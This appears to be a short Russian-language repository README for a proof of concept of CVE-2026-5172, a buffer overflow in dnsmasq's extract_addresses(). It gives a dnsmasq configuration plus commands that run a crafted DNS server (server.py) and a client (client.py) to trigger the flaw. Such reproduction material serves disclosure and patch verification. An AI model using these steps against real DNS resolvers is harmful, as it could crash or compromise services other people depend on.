lottiedeyan/cve20265172pocCVE-2026-5172: переполнение буфера в extract_addresses() при обработке специально созданной ресурсной записи PoC
CVE-2026-5172: переполнение буфера в extract_addresses() при обработке специально сформированной ресурсной записи (PoC)
Топологию см. здесь https://medium.com/@yanyuyingshu/reproduction-journal-dnsmasq-ecs-validation-and-buffer-overflow-flaws-e0fe0f66f60c
Шаги
port=5353
listen-address=xxx.xxx.xxx.x
bind-interfaces
no-resolv
no-hosts
no-poll
cache-size=1000
log-queries
log-facility=-
server=127.0.0.1#5354
(и перезапустите демон dnsmasq)
python3 server.py --host 127.0.0.1 --port 5354 --rdlen 6 –debug &
python3 client.py --dnsmasq-host xxx.xxx.xxx.x --dnsmasq-port 5353 --timeout 5.0 --count 3
